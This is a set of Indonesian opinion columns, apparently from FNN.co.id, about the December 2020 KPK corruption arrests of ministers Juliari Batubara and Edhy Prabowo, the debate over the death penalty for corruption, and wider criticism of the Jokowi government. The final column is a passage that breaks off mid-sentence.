by Hersubeno Arief Jakarta FNN - Senin (07/12). Anda yang berharap Mensos Juliari P Batubara dihukum mati, bersiap-siaplah kecewa. Jangan lupa Anda masih hidup di Indonesia. Presidennya juga masih Jokowi. Partai yang berkuasa juga masih PDIP. Come on. Wake Up! Cobalah lebih menjejak bumi. Harapan yang terlalu melambung tinggi, bisa membuat kita kecewa. Sedih dan depresi. Kalau sudah begitu, imunitas tubuh bakal menurun. Rentan terkena Covid-19. Tambah berat lah beban hidup Anda! Silakan cermati kembali apa yang dikatakan oleh Ketua KPK Firli Bahuri. Dia hanya menyatakan, KPK tengah mendalami penerapan pasal hukuman mati. KPK juga tengah mendalami apakah ada aliran dana ke PDIP. Tolong dicatat! Hanya mendalami ya. Jangan langsung berkesimpulan bahwa KPK akan menerapkan hukuman mati. Jangan pula berkesimpulan PDIP akan dibubarkan karena menerima aliran dana korupsi. Itu namanya kesimpulan yang terlampau jauh. Jumping to conclusions. Nggege mongso, kata orang Jawa. Hiduplah dalam kenyataan. KPK hanya menerapkan pasal 12 dan 11 UU No 31 Tahun 1999 tentang Tindak Pidana Korupsi sebagaimana sudah diubah menjadi UU No 20 Tahun 2001. Dalam pasal 12 disebutkan, seorang penyelenggara negara yang menerima gratifikasi, ancaman hukumannya dipidana seumur hidup, paling singkat 4 tahun, dan paling lama 20 tahun. Sementara dendanya paling sedikit Rp 200 juta dan paling banyak Rp 1 miliar. Bagaimana dengan pasal 11? Nah ini lebih asyik lagi. Ancaman hukumannya paling singkat 1 tahun. Paling lama 5 tahun. Dendanya paling sedikit Rp 50 juta dan paling banyak Rp 250 juta. Hukuman mati diatur dalam pasal 2. Tapi ada syaratnya. Dalam ayat 1 dinyatakan: Setiap orang yang secara melawan hukum, melakukan perbuatan memperkaya diri sendiri atau orang lain, atau suatu korporasi yang dapat merugikan keuangan negara, atau perekonomian negara, dipidana penjara dengan penjara seumur hidup atau pidana penjara paling singkat 4 tahun dan paling lama 20 tahun. Denda paling sedikit Rp. 200 juta dan paling banyak Rp. 1 Milyar. Ayat 2, dalam hal tindak pidana korupsi sebagaimana dimaksud dalam ayat (1) dilakukan dalam keadaan tertentu, pidana mati dapat dijatuhkan. Dalam keadaan tertentu ini bersifat interpretatif. Pemerintah menafsirkan bahwa keadaan tertentu itu adalah bencana alam. Sementara Covid-19 bencana non alam. Benar bahwa Firli tidak secara tegas menyebut Covid-19 bencana non alam. Tapi berbagai pernyataannya terkesan ambigu. Ketika berbicara di Komisi 3 DPR RI Firli menyatakan, pelaku korupsi dana Covid-19 bisa dihukum mati. Begitu juga ketika berbicara dalam wawancara di sejumlah media. Sekarang dia mencoba mencari jalan aman. Mengambangkannya dengan kata “tengah mendalami.” Soal dalam atau tidak dalamnya, lain lagi urusannya. Yang penting tekanan publik bisa diredam. Firli saat ini tengah menikmati “kesuksesan” KPK menangkap dua orang menteri. Fakta itu setidaknya bisa meredam sikap skeptis publik terhadap KPK, di bawah kepemimpinannya. Firli sekarang mengambil alih peran. Dia langsung tampil dalam setiap jumpa pers mengenai OTT Mensos. Sebelumnya ketika OTT Menteri Kelautan cukup diserahkan ke wakilnya. Dia tengah menikmati sorotan kamera. Sambil berhitung-hitung jangan sampai menggigit tulang yang terlalu keras. Bagi Firli —bukan bagi penyidik ya— beberapa OTT ini semacam lucky blow, pukulan keberuntungan dalam tinju. Dia mencoba memanfaatkan second wind, semangat baru setelah sebelumnya limbung terkena hook keras berbagai kasus pribadinya. Syukur kalau dia bisa membuat lompatan kodok karirnya karena "sukses" memimpin KPK. Mahfud dukung Firli Bagaimana dengan Menko Polhukam Mahfud MD? Menurutnya, syarat yang dimaksud dalam undang-undang sebagaimana diatur dalam pasal 2 ayat 2 UU Tipikor ialah negara dalam keadaan bahaya. Saat ini tak ada negara yang dinyatakan dalam keadaan bahaya. Covid-19, kata Mahfud MD, tidak termasuk dalam bencana alam. Walaupun begitu dia tidak membantah dampak Covid-19 ini lebih besar daripada bencana alam nasional. Mahfud menyatakan Indonesia juga tidak sedang mengalami krisis ekonomi, melainkan resesi. "Yang dinyatakan resesi itu tidak sama dengan krisis ekonomi. Resesi itu adalah manakala pertumbuhan ekonomi kita minus dua kuartal berturu-turut, itu resesi namanya," ujarnya. Berdasarkan penjelasan itu, Mahfud menilai Ketua KPK Firli Bahuri saat ini sulit menemukan kaitan antara syarat-syarat dalam UU Tipikor dengan kasus yang menjerat Juliari Batubara. Penjelasan Mahfud MD harus dilihat dalam posisinya sebagai Menko Polhukam. Bukan pakar hukum. Itu adalah sikap resmi dari pemerintahan Jokowi. Pernyataan itu merupakan signal sekaligus dukungan karena Firli telah “berada di jalan yang benar.” Tidak menerapkan hukuman mati. Signal itu juga harus ditangkap oleh lembaga penegak hukum lainnya, dalam hal ini hakim di pengadilan Tipikor. Ada alternatif hukuman paling berat dan paling ringan. Bisa diambil jalan tengah. Untuk meredam kemarahan publik jangan dihukum terlalu ringan. Tapi juga jangan terlalu berat. Yang sedang-sedang saja. Toh nanti bisa banding ke pengadilan tinggi. Kasasi atau peninjauan kembali (KPK) di Mahkamah Agung. Setelah itu, jangan lupa ada potong masa tahanan berupa remisi, asimilasi, dan kalau perlu……. grasi. Sampai di sini paham khan? Ah jangan terlalu sering bermimpi lah. Apalagi mimpi yang indah! Anda masih hidup di Indonesia Bro! Bangun…..bangun!!!! EndPenulis wartawan senior FNN.co.id

Siapa Menteri Ketiga Diambil KPK?

by M Rizal Fadillah Bandung FNN – Ahad (06/12). Setelah Menteri Kelautan dan Perikanan Eddy Prabowo, salah satu kader terbaik Partai Gerindra terjerat korupsi benih lobster (benur), kini giliran Menteri Sosial Juliari Peter Batubara, salah satu kader terbaik dari Partai Demokrasi Indonesia Perjuangan (PDIP) yang terkena Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK). Ketam Umum Partai Gerindra Prabowo Subianto dikabarakan marah-marah atas kelakuan “anak selokan" terbaik binaannya. Entah dengan Ketua Umum PDIP Megawati Soekarnoputri. Apakah juga ikut marah-marah atau seperti Prabowo terhadap Edhy Prabowo, atau tidak atas kerjaan dan kelakuan Wakil Bendahara Umum PDIP ini. Marah-marah itu bisa karena mencemarkan nama baik pribadi Ketum atau partai. Namun bisa juga karena cara kerja mencuri yang kok bisa ketahuan. Apapun itu, ketika awal ramai penyusunan Kabinet Pemerintahan Jokowi, partai-partai berlomba untuk menempatkan kadernya di posisi-posisi yang dianggap basah, penting dan strategis. Pertengkaran antar koalisi kadang hanya disebabkan memperebutkan posisi basah dan kering seperti ini. Setelah Menteri dari Gerindra dan PDIP terjerat korupsi, timbul pertanyaan kader partai mana lagi yang menjadi target berikutnya dari KPK. Pertanyaan aneh, tetapi wajar saja sebab semua juga tahu bahwa kader-kader partai yang ditempatkan pada jabatan-jabatan pemerintahan, baik di Kementrian maupun Badan Usaha Milik Negara (BUMN) tidak dapat dipisahkan dari misi partai, baik pengaruh maupun untuk pengisi kas partai. Presiden Jokowi tentu saja tidak tuli dan buta pada kepentingan partai. Terutama melalui pembagian jabatan di pemerintahan. Jadi, logisnya Presiden mampu memainkan ritme dan fluktuasi politik di lingkungan internal pemerintahan. Kejaksaan Agung atau KPK bukan barang yang steril. Toh, Dewan Pengawas KPK bisa menjadi jembatan komunikasi yang bagus dengan pusat kekuasaan. Maknya publik mungkin ragu, jika tertangkapnya dua menteri Edhy Prabowo dan Juliari Peter Batubara adalah kejutan bagi Presiden Jokowi. Keraguan yang wajar-wajar saja. Dua partai yang juga potensial untuk diredam oleh aksi KPK berikutnya yaitu Partai Golkar dan Nasdem. Kedua partai ini mulai "nakal". Nasdem mulai aktif mendekati Anies Baswedan yang selama ini menjadi "musuh utama istana". Sedangkan Golkar, disamping tidak dukung prolegnas RUU HIP, juga memiliki tapak pada Jusuf Kalla (JK) yang membuat poros politik baru JK-Surya Paloh-Anies-HRS. JK adalah sesepuh dan mantan Ketum Partai Golkar. Untuk satu tahap, Jokowi dapat sukses menekan dan meredam KPK. Tetapi kondisi ini dapat menjadi api dalam sekam. Jika partai-partai pendukung mulai gerah karena kader-kadernya digoyang terus, maka pemerintahan Jokowi akan menjadi "tidak lagi berpartai". Kondisi akan rawan pula untuk digoyahkan ke depan. Secara politik terbuka ruang balas dendam. Dua Menteri dihajar korupsi suap. Apakah suap model seperti ini hanya dilakukan dua Menteri itu saja? Patut diduga tidak mungkin. Perlu dilakukan pengusutan yang menyeluruh. Pesiden harus meminta KPK, baik langsung maupun melalui Dewan Pengawas untuk bekerja keras seobyektif mungkin. Akan tetapi sebenarnya persoalan berat yang dihadapi adalah apakah Presiden juga bersih? Kini kita tunggu saja siapa menteri ketiga yang telah masuk agenda "permainan" bongkar-bongkar borok demi kepentingan politik ini? Satu catatan terpenting adalah bahwa pertarungan internal telah dimulai.Ke arah mana angin akan berhembus? Penulis adalah Pemerhati Politik dan Kebangsaan.

Enak Jamanku To?

by Basyir Al-Haddad Jakarta FNN – Ahad (06/12). Ketika dihadapkan pada kehidupan politik yang semerawut, masyarakat yang terbelah, hidup yang makin sulit, kita jadi teringat dengan Pak Harto. Lepas dengan semua kekurangan dan kelemahannya, di zaman Orde Baru, semuanya relatif stabil. Pada masa Orde Baru, nggak ada preman, atau ormas berbaju preman yang dipakai oleh penguasa untuk menggebuk lawan-lawan politik, atau kelompok sipil kritis (civil society). Keamanan relatif stabil, karena negara tidak menggunakan jasa preman. Baik preman darat maupun preman udara yang disebut buzzer medsos. Banyaknya preman yang diberi ruang bernarasi atas nama pancasila dan NKRI justru semakin membuat gaduh keadaan. Masa Orde Baru, ketahanan dan kedaulatan pangan betul-betul dijaga. Nasib petani selalu menjadi perhatian serius Presiden. Hampir setiap hari Presiden tanya ke bagian rumah tangganya, berapa harga beras, harga cabe, sampai harga bawang dan harga garam? Semua dikontrol agar petani tidak menjadi korban para tengkulak dan importir. Saat ini, impor kebutuhan pokok ugal-ugalan. Beras, gula, kedelai, bawang, cabe, bahkan garam dan sayuranpun diimpor. Ini tak masalah selama jumlah yang diimpor disesuaikan dengan kebutuhan rakyat setelah menghitung hasil panen petani. Berapa kebutuhan rakyat, lalu dikurangi hasil panen, di situlah penerintah impor. Kalau hasil panen petani sudah mencukupi kebutuhan dalam negeri, kenapa harus impor lagi? Kalau kebutuhan rakyat hanya 1 juta ton, kenapa harus impor sebanyak 150 juta ton? Petani akan mampus. Sebab, hasil panen petani nggak terbeli. Bisa dibeli, tetapi dengan harga sangat murah. Untuk mengembalikan modal saja gak cukup. Ketahanan pangan menjadi masalah ketika impor dijadikan project balas budi terhadap para donatur yang menyumbang logistik saat pemilu. Di situ para timses dan partai pendukung ikut ambil jatah. Korbannya adalah petani, petani dan petani. Soal demokrasi, Pak Harto distigmakan sebagai pemimpin yang otoriter. Menggunakan tentara untuk menjaga stabilitas keamanan dan politik pemerintah. Meski begitu, di zaman Orde Baru, tentara nggak masuk kampus, mengejar mahasiswa hanya sampai di pagar kampus saja. Apalagi polisi. Pak Harto berprinsip bahwa kampus adalah tempat bersemainya generasi penerus bangsa. Sebab di kampus inilah masa depan bangsa akan ditentukan. Kalau kampus sudah rusak, maka masa depan bangsa juga pasti akan rusak. Membonsai mahasiswa sama saja merusak benih yang disiapkan untuk masa depan bangsa. Dulu, satu mahasiswa terluka atau ditahan aparat, kampus ramai. Masyarakat sipil hingga dunia internasional bicara. Kematian sejumlah mahasiswa Trisakti berakibat Orde Baru tumbang. Saat ini, entah sudah berapa nyawa mahasiswa jadi korban. Yang terluka, ditahan dan hilang, entah berapa jumlahnya. Hampir 1.000 petugas pemilu yang mati pun sudah dilupakan. Saat ini, rektor dipilih dan ditentukan oleh menteri. Senat hanya mengusulkan sejumlah nama. Siapa yang akan jadi rektor, tangan menteri yang akan memilih. Nggak peduli seorang calon rektor itu mendapat dukungan paling sedikit di senat. Menteri mau, kepilihlah dia. Nah, menteri pasti akan memilih calon yang loyal dan bisa dikendalikan. Siapapun dia. Dan di tangan rektor, para dekan dipilih. Senat fakultas tak punya hak lagi. Sampai di sini bisa disimpulkan bahwa kampus sangat terkendali. Mahasiswa dan semua sivitas akademika terkendali. Jangan heran kalau ada rektor meminta para mahasiswa baru menandatangani pakta integritas, yang salah satu isinya tentang kesediaan mahasiswa untuk tidak ikut berpolitik. Pers di zaman Orde Baru memang dibatasi. Tetapi tidak ditekan habis, sehingga harus seragam pemberitaannya. Media, terutama media mainstream, sekarang tiarap. Colak colek penguasa, ijin usahanya bisa dicabut. Kasus pajak bisa terungkap. Indonesia menganut politik bebas aktif. Pak Harto masih cukup berwibawa di setiap pertemuan dan panggung global. Indonesia punya identitas dan jati diri di mata dunia internasional. Ini bukti bahwa kedaulatan negara terjaga. Bandingkan dengan sekarang, seperti apa? Rasakan sendiri. Soal pembangunan infrastruktur, ada program repelita. Semua terencana dan terukur sesuai kebutuhan dan kemampuan. Tetap mempertimbangkan kemampuan keuangan negara. Tidak ugal-ugalan ngutang sana ngutang sini. Kebutuhan masyarakat dan efek pertumbuhan ekonominya di setiap perencanaan pembangunan. Tidak ngasal dan mengumbar nafsu. Kata temen saya yang pernah jadi menteri, "dua project yang potensi korupsinya paling gede dan relatif tidak ketahuan yaitu di migas dan di pembangunan infrastruktur". Ini yang terjadi sekarang. Korupsi? Jika di zaman Orde Baru korupsi terbatas di elit, sekarang korupsi dilakukan berjama'ah. Alias ramai-ramai dan kompak. Hampir di semua lini. Jika di masa Orde Baru korupsi sembunyi-sembunyi, saat ini korupsi terang-terangan. Nggak ada malu-malunya. Ada anekdot populer, "di masa Orde Baru korupsi hanya terjadi di bawah meja. Saat ini mejanya pun ikut dikorupsi". Anekdot ini seolah mengklarifikasi adanya regulasi yang sengaja disiapkan untuk memperlancar korupsi. KPK dimatikan melalui revisi Undang-undang No 19 Tahun 2019. UU Minerba makin membuka peluang korupsi di dunia tambang. UU Ciptaker memberi ruang bagi korporasi menindas buruh dan menguasai kekayaan negara. Situasi saat ini membuat rakyat dipaksa untuk membandingkan antara masa Orde Baru dengan masa sekarang. Sebagian menganggap di masa Orde Baru kehidupan berbangsa lebih stabil dan tenang. Enak jamanku To? Penulis adalah Pemerhati Indonesia

Korupsi Marak Saat Rakyat Menderita, Dimana Jokowi?

by Ubedilah Badrun Jakarta FNN – Ahad (06/12). Hampir satu tahun lalu kita semua dibuat penasaran tentang penyuap Komisioner Komisi Pemilihan Umum (KPU) RI yang menghilang tak tentu rimbanya. Sementara komisioner KPU-nya sudah dipenjara. Entah mengapa KPK sampai saat ini belum menemukan sosok yang dekat dengan petinggi partai berkuasa tersebut. Lalu kita dihebohkan dengan Operasi Tangkap Tangan (OTT) oleh Komisi Pemberantasan Korupsi (KPK) terhadap Edhy Prabowo Menteri Kelautan dan Perikanan pada akhir November lalu. OTT ini membuat publik marah, dan sampai saat ini belum sirna dari ingatan publik. Diduga kuat Edhy Prabowo menerima suap sebesar Rp3,4 Milyar. Tiba-tiba awal Desember ini, publik kembali dihebohkan dengan berita OTT pejabat Kementerian Sosisl RI. KPK sudah menetapkan bahwa Juliari Peter Batubara (Menteri Sosial) sebagai tersangka. Publik tentu semakin marah, karena diduga kuat yang dikorupsi itu uang bantuan sosial untuk mereka yang terdampak pandemi Covid-19. Yang dikorupsi di Kemensos juga uang untuk mereka yang berpenghasilan kecil. Uang untuk mereka yang miskin dan menderita. Uang untuk mereka yang terkena Pemutusan Hubungan Kerja (PHK). Angka korupsinya cukup fantastis. Diduga mencapai Rp. 14,5 miliar Jika dicermati, dana untuk penanganan pandemi Covid-19 mencapai Rp 677,2 triliun. Ini dana yang sangat besar, tetapi rawan dan berpotensi dikorupsi karena lemahnya pengawasan publik dan lemahnya pengawasan internal akibat situasi pandemi covid-19. Pesan Jokowi & Maraknya Korupsi Masih lekat dalam ingatan publik bahwa satu tahun lalu lebih, pada 23 oktober 2019 lalu, saat melantik 34 menterinya, Presiden Jokowi mengingatkan, "Saya telah perintahkan seluruh kabinet yang sudah saya umumkan, yang pertama jangan korupsi. Supaya menciptakan sistem yang menutup celah terjadinya korupsi". Peringatan Jokowi kepada para menterinya itu dilakukan berkali-kali. Kalau begitu, pertanyaanya adalah mengapa masihg tetap saja terjadi korupsi? Mencermati kondisi tersebut, setidaknya menunjukkan terdapat lima hal penting. Pertama, peringatan Presiden Jokowi tidak didengar oleh para menterinya. Peringatan Presiden Jokowi hanya didengar sambil lalu saja. Tidak dianggap sebagai hal penting. Bahkan kemungkinan dinilai hanya sebagai pemanis bibir, dan bumbu citra rasa bagi seorang Presiden. Kedua, kepemimpinan Presiden dalam menjaga kabinetnya untuk tidak korupsi terlihat lemah. Presiden tidak mampu memanage, dan mengontrol menterinya untuk tidak korupsi. Bukankah setiap rapat kabinet ada update laporan dari para menterinya? Pada setiap laporan, mestinya Presiden mampu temukan celah potensi korupsi? Tetapi jika menemukan celah, potensi kemungkinam korupsi lalu dibiarkan dan tidak ditegur, ini berarti kemungkinan ada semacam pembiaran atau kepercayaan Presiden yang berlebih kepada para menterinya. Ketiga, itu menunjukkan saat proses pengangkatan Menteri cenderung mengabaikan sisi integritas calon menterinya. Lebih dominan faktor transaksional politisnya. Ini sudah diduga dari awal, karena proses pengangkatan para menteri diawal periode kedua Jokowi ini memang tidak melibatkan KPK dalam seleksinya. Berbeda dengan saat periode pertama yang meminta KPK. Ada semacam menseleksi dari sisi track record (rekam jejak) integritas nama nama calon menterinya. Keempat, menunjukkan bahwa sang menteri, sejak awal memang tidak memiliki integritas yang baik. Selain itu, perlu ditelusuri, apakah praktek korupsi tersebut sengaja dibiarkan, disetujui, atau diperintah oleh partai politiknya? Kelima, menunjukkan tidak jera nya para elit politik dalam melihat penangkapan OTT yang dilakukan KPK. Termasuk tidak takut untuk malukukan korupsi, karena hukuman bagi koruptor ternyata ringan. Bahkan boleh lagi menjadi caleg, atau calon kepala daerah setelah keluar dari penjara. Meminjam terminologi Inge Amundsen yang disebutkan dalam artikel yang berjudul Research on Corruption: A Policy Oriented Survey (2000) karakteristik koruptif bribery (suap), embezzlement (penggelapan), dan nepotism (kedekatan hubungan) tampaknya lebih dominan di Indonesia. Peristiwa dan analisis di atas adalah obyek empiriknya. Dimana Tuan Presiden? Pada titik inilah kita patut bertanya di mana integritas Presiden Jokowi di tengah masih maraknya korupsi? Di mana posisi Presiden Jokowi dalam mendorong hukuman berat bagi para koruptor? Di mana komitmen Presiden dalam upaya pencegahan praktek korupsi di Kementrian dan Lembaga di bawah kekuasaannya sebagai kepala pemerintahan? Korupsi di tengah situasi bencana pandemi covid-19, dan situasi krisis ekonomi, bahkan dalam situasi resesi ekonomi menuntut penegakan hukuman yang sangat berat. Bila perlu hukuman mati sangat dimungkinkan menurut Undang-Undang. Lantas, di mana posisi dan komitmen Presiden Jokowi yang dulu berkampanye untuk hukum berat koruptor? Dalam Pasal 2 ayat 2 Undang-Undang Nomor 31 Tahun 1999 tentang Tindak Pidana Korupsi disebutkan bahwa (1) Setiap orang yang secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau korporasi yang dapat merugikan keuangan negara atau perekonomian negara, dipidana penjara dengan penjara seumur hidup atau pidana penjara paling singkat 4 tahun dan paling lama 20 tahun dan denda paling sedikit Rp 200 juta dan paling banyak Rp 1 miliar. Kemudian pada ayat berikutnya (2) disebutkan, dalam hal tindak pidana korupsi sebagaimana dimaksud dalam ayat (1) dilakukan dalam keadaan tertentu, pidana mati dapat dijatuhkan. Di dalam aturan penjelasan ayat (1) diterangkan yang dimaksud dengan “secara melawan hukum” di dalam pasal ini mencakup melawan hukum dalam arti formil maupun materiil. Artinya, meski perbuatan tersebut tidak diatur di dalam peraturan perundang-undangan, namun apabila perbuatan tersebut dianggap tercela karena tidak sesuai dengan rasa keadilan atau norma-norma kehidupan sosial di masyarakat, maka perbuatan tersebut dapat dipidana. Dalam ketentuan ini, kata “dapat” sebelum frasa “merugikan keuangan atau perekonomian negara” menunjukkan bahwa tindak pidana korupsi dapat dimaknai sebagai delik formil, yaitu adanya tindak pidana korupsi cukup dengan dipenuhinya unsur-unsur perbuatan yang sudah dirumuskan. Bukan dengan timbulnya akibat. Sedangkan pada ayat (2) dijelaskan yang dimaksud dengan “keadaan tertentu” dalam ketentuan ini dimaksudkan sebagai pemberatan bagi pelaku tindak pidana korupsi apabila tindak pidana tersebut dilakukan pada waktu negara dalam keadaan bahaya sesuai dengan undang-undang yang berlaku, pada waktu terjadi bencana alam nasional, sebagai pengulangan tindak pidana korupsi, atau pada waktu negara dalam keadaan krisis ekonomi dan moneter. Presiden Joko Widodo atau Jokowi telah menetapkan Corona sebagai bencana nasional. Maka dari itu, jika terjadi tindak pidana korupsi terhadap dana anggaran untuk penanganan Corona, maka sesungguhnya bisa ditindak sesuai dengan Pasal 2 UU tindak pidana korupsi tersebut. Saat ini Indonesia sedang dalam kondisi bencana nasional pandemi covid-19. Kita dalam kondisi krisis ekonomi dan moneter. Lalu apakah hukuman mati akan diterapkan? Ini momentum penting bersejarah dalam penegakan hukuman bagi para koruptor agar semua elit politik yang berniat korupsi jera dan tidak akan melakukan tindakan korupsi lagi. Pertanyaanya, sampai saat ini, usai KPK menetapkan Mensos JPB sebagai tersangka korupsi bantuan sosial, apa suara Presiden Jokowi? Jokowi hanya mengatakan bahwa dirinya tidak akan melindungi menterinya yang korupsi. Itu benar Tuan Presiden. Tetapi ini situasi bencana nasional dan krisis ekonomi. Di mana suara lantangmu soal hukuman mati Tuan Presiden? Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ).

Pak Dudung Jangan 'Makar' di PBSI Yaa…

by Rahmi Aries Nova Jakarta FNN - Sabtu (05/12). Pada Jumat (4/12) salah seorang mantan pemain nasional bulutangkis mengunggah fotonya bersama rekan-rekannya sesama mantan pemain nasional dan Pangdam Jaya yang tengah 'naik daun' Mayjen TNI Dudung Abdurachaman. "Terimakasih Pak Panglima @dudung.abdurachman utk main Badminton bareng kita hari ini 🙏🙏🙏 Stay safe, stay healthy & stay happy Pak 🇮🇩🇮🇩🇮🇩" Demikian unggahan yang sayangnya tak bisa saya komentari karena FB saya tengah disuspend. Padahal saya hanya ingin bertanya mengapa Dudung tidak menggunakan masker dalam foto tersebut? Terlihat juga kerumunan melatarbelakangi foto itu, apakah itu tidak menyalahi aturan protokol kesehatan? Fotonya sendiri sangat epic menurut saya, karena pasti kita semua hafal bahwa yang di kiri dan kanan Dudung adalah srikandi-srikandi bulutangkis kebanggaan kita. Kalau dilihat dari banner, istilah keren dari spanduk, yang juga terlihat dalam foto, mereka adalah Komunitas Bulutangkis Indonesia (KBI) yang 'kalah' dalam persaingan pemilihan Ketua Umum PBSI awal November lalu. Mereka gagal meminta Muldoko untuk ikut bersaing, dan terakhir calon yang terpaksa mereka usung pun gagal dalam verifikasi hingga calon dari 'kubu lawan' Ketua BPK Agung Firman Sampurna terpilih secara aklamasi sebagai Ketua Umum PBSI 2020-2024. Agung sendiri belum mengumumkan susunan pengurus yang akan membantunya nanti. Kabarnya pengumuman pengurus yang semula direncanakan Jumat (4/12), diundur hingga Senin.Yang mengejutkan adalah rumor bakal ditunjuknya Kabareskrim Polri Komjen Pol Listyo Sigit sebagai Sekjen PBSI mendatang. Apakah 'bergabungnya' Dudung dengan KBI adalah bagian dari upaya KBI untuk merangsek kembali di PBSI? Dan ditunjuknya Listyo Sigit untuk meredamnya? Entahlah… Karena seperti Dudung yang selalu mencurigai FPI hingga melakukan aksi turun spanduk khusus FPI, saya pun selalu curiga kalau tiba-tiba ada pejabat yang bermain bulutangkis. Karena biasanya mereka ingin jadi ketua… Ha..ha… Penulis wartawan senior FNN.co.id

Edhy Prabowo, dari “Selokan” Berakhir di KPK

by Hersubeno Arief Jakarta FNN - Sabtu (05/12). Menhan Prabowo Subianto secara resmi akhirnya buka suara, soal OTT Menteri Kelautan Edhy Prabowo. “Dia saya angkat dari selokan, dan inilah yang dilakukan kepada saya,” ujar Prabowo seperti ditirukan adiknya Hashim Djojohadikusumo. Prabowo menyampaikan kemarahannya kepada Hashim dalam Bahasa Inggris. ”I lift him up from the gutter and this is what he does to me.” Media kemudian menerjemahkannya cukup beragam. Diangkat dari selokan, got, dan ada pula yang menerjemahkan menjadi comberan. "Pak Prabowo sangat marah, sangat kecewa, merasa dikhianati," tambah Hashim. Reaksi keras Prabowo ini sangat mengejutkan. Terutama pada pilihan diksinya. “Selokan!” Seorang mantan petinggi negara yang kenal dekat dengan keluarga Djojohadikusumo, mengaku sangat terkejut. “Kenapa sekasar itu ya? Kalau sudah tolong orang, ya tolong saja,” ujarnya. Bagi sang mantan petinggi, Hashim dan Prabowo tidak bisa cuci tangan begitu saja. Faktanya Hashim juga dapat konsesi dalam ekspor benih lobster (benur). Bahwa perusahaan Hashim mengaku belum pernah mengekspor benur. Itu soal yang berbeda. Mengapa Hashim sampai harus membuka percakapan internal itu ke publik? Walau cukup terlambat, dari sisi strategi marketing politik, Hashim sedang melaksanakan damage control management. Dia sedang mencoba mengurangi kerusakan politik yang sedang terjadi. Kerusakan politik pada Gerindra, dan secara khusus kepada brand besar yang mereka sandang, yakni keluarga Djojohadikusumo. Merek besar itu sekarang disandang oleh Prabowo, yang selama ini mencitrakan diri sebagai figur anti korupsi. Apa boleh buat, karena kedekatan hubungan antara Prabowo dan Edhy Prabowo, brand asossiasinya sangat kuat. Kebetulan pula Edhy juga menyandang nama Prabowo. Publik yang tidak mengenal secara dekat, kemungkinan besar menduga, Edhy juga bagian dari keluarga besar Djojohadikusumo. Meminjam tagline iklan produk jadul: Ingat Gerindra, Ingat Prabowo! Dalam kasus korupsi lobster, turunan brand asosiasinya menjadi : Ingat kasus korupsi Edhy Prabowo, Ingat Prabowo. Lebih cilaka lagi kalau sampai brand asosiasinya berubah : Ingat Prabowo, Ingat Korupsi Benur! Brand asosiasi adalah kesan yang melekat di benak seseorang, begitu melihat atau mendengar, sebuah objek yang berhubungan dengan produk atau barang jasa tertentu. Jadi secara asosiasi, kasus korupsi Edhy merugikan dua kepentingan besar sekaligus: Gerindra dan keluarga besar Djojohadikusumo. Karena itulah Hashim sangat berkepentingan untuk memutus mata rantai brand asosiasi itu. Dia bahkan sampai harus menyewa pengacara eksentrik Hotman Paris Hutapea. Menggelar jumpa pers, dan menjelaskan hal itu. Gerindra, Prabowo, dan Saras Apa saja kerusakan merek ( brand damage ) akibat kasus Edhy Prabowo? Dan mengapa Hashim harus menyampaikan ucapan yang begitu keras? Pertama, dalam jangka panjang, Hashim dan keluarga besar Hashim Djojohadikusumo harus menyelamatkan Gerindra. Partai yang didirikan oleh Prabowo itu, bagaimanapun harus bertahan dan menjadi legacy keluarga. Sejauh ini, Prabowo harus diakui berhasil membangun Gerindra menjadi kekuatan politik nomor dua terbesar di Indonesia. Berbagai survei menunjukkan penerimaan publik terhadap Gerindra cenderung meningkat. Kalau sampai gara-gara Edhy Gerindra hancur, harga yang dibayar amat sangat teramat mahal. Kedua, Hashim juga harus mengamankan posisi Prabowo. Dia merupakan aset terbesar keluarga saat ini. Kendati sudah dua kali sebagai capres, sekali sebagai cawapres, Prabowo tetap dianggap kandidat terkuat Pilpres 2024. Namanya tetap layak dijual. Kasus Edhy jelas merusak reputasi Prabowo, dan akan sangat berpengaruh pada elektabilitasnya. Ketiga, dalam jangka pendek ada kepentingan politik yang harus diselamatkan keluarga Hashim. Rahayu Saraswati, putri Hashim dalam beberapa hari ke depan akan mengikuti Pilkada di Tangerang Selatan. Kasus Edhy bisa dikapitalisasi oleh kompetitornya untuk demarketing dan menjatuhkan elektabilitas Saras. Berbagai pertimbangan itu lah yang membuat Hashim harus bertindak. Termasuk kalau perlu “melemparkan” kembali Edhy Prabowo ke dalam “selokan.” Cuma bikin sial! End Penulis wartawan senior FNN.co.id.

Mungkinkah Perlawanan Rakyat Bersama Habib Rizieq Dilenyapkan?

by Asyari Usman Medan FNN - Sabtu (05/12). Sampai hari ini, tidak satu pun kekuatan sosial-politik atau simbol perlawanan rakyat yang “diterge” oleh penguasa kecuali Habib Rizieq Syihab (HRS). Yang lain-lainnya dibiarkan saja bagai angin lalu. Suara NU diabaikan. Begitu juga suara Muhammadiyah. Atau ormas-ormas lainnya. Semua dianggap tidak penting oleh para penguasa. Bahkan, penguasa kelihatan yakin kekuatan OPM di Papua pun tidak dianggap mengganggu. Lihat saja bagaimana Menko Polhukam Mahfud MD menanggapi deklarasi kemerdekaan Papua oleh Benny Wenda. Mahfud bilang itu “deklarasi Twitter”. Ini menandakan penguasa tidak takut pada OPM. Lain halnya dengan HRS. Tampak sekali para penguasa merasa tak nyaman. Mereka sepertinya sangat paham bahwa kekuatan Habib bisa mencelakakan para penguasa bejat. Mungkin para penguasa itu membayangkan kekuatan HRS sekarang ini menjadi ‘uncalculable’ alias ‘tak bisa dihitung’. Sekaligus ‘unpredictable’ alias ‘tak bisa diramalkan’. Dalam arti, kekuatan Habib semakin susah dipetakan setelah Beliau “diasingkan” di Arab Saudi selama tiga tahun. Ada efek positif untuk Habib dari pengasingan itu. Blessings in disguise. Kini para penguasa berusaha keras agar Habib bisa dipidanakan. Semua cara dilakukan. Dan semuanya menjadi tertawaan publik. Misalnya, apa saja aspek yang terkait dengan karumunan di Petamburan dikejar tuntas. Termasuk pihak yang menyediakan tenda untuk acara pernikahan putri Habib, belum lama ini. Amazing! Dahsyat sekali. Mengapa penguasa begitu fokus dan detail mengejar Habib? Tentu karena mereka sangat ingin membungkam Imam Besar (IB) itu. Mengapa harus dibungkam? Karena banyak orang yang semakin gerah dengan kehadiran pengkritik lantang ini. Siapa-siapa saja yang gerah? Banyak sekali. Khususnya orang-orang yang selama ini bebas melakukan apa saja untuk kepentingan dan keuntungan pribadi. Yang selama ini bisa korupsi besar. Yang bisa seenaknya menjarah kekayaan rakyat. Yang selama ini menerima upeti dari para oligarkhi 